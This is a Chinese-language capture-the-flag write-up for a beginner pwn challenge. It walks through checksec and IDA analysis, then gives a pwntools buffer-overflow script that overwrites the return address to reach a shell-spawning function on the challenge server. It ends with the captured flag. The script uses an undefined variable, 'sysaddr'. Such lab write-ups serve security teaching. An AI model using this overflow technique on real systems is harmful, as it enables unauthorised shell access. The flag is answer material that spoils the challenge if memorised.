pwn-level0
pwn-level0
今天做一下pwn里面的简单题,回顾下之前学到的知识点
Markup
deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free //换源
python -m pip install pwntools //安装pwntools
checksec //查壳
IDA pro //静态分析
/bin/sh/ //shell
F5 //查看伪代码
Shift + F12 //查看string
目的:找可利用地址,计算缓冲区空间,覆盖原地址调用新地址
1、首先是level0的题目,下载后使用checksec进行侦壳
从回显中可以清除的看到此文件是64位的,并且除了NX(数据不可执行)保护机制并没有开启其他的。
2、赋给执行权限后,运行下
发下仅有回显 “Hello, World" 之后输入任意内容结束程序。
3、使用IDA pro进行静态分析
在main函数中发现"Hello,World\n",按F5以后可以看到在main函数中只有两行,程序执行后打印“helloworld”后执行vulnerable_function()函数。
函数中无参数传入,buf长度为0x80,即0x80h填充满,之后跟上地址就可以实现任意跳转
4、使用快捷键Shift + F12查看
发现除了刚才看到的字符串还有出现system、/bin/sh 等
双击/bin/sh以后可以看到这里还会调用callsystem
然后双击callsystem发现其执行的地址为400596,之后可以根据之前发现的地址覆盖,来调用callsystem执行任意命令。
5、编写利用语句
Python
#coding=utf-8
from pwn import * #导入pwntools中pwn模块中的所有内容
p = remote("124.126.19.106",32926) #链接服务器远程交互
elf = ELF('./level0') #以ELF文件格式读取level0中callsystem的地址
#先用0x88个无用字符覆盖buf和push的内容,再覆盖返回地址
payload = 'a'*(0x80+8) + p64(sysaddr) #这里的 sysaddr =》 0x400596
p.recv() #接收输出
p.send(payload) #发送payload无用字符
p.interactive() #反弹shell进行交互
6、执行
拿到flag。
cyberpeace{a24f2cca2cb95b401c8a6fa2afa676a6}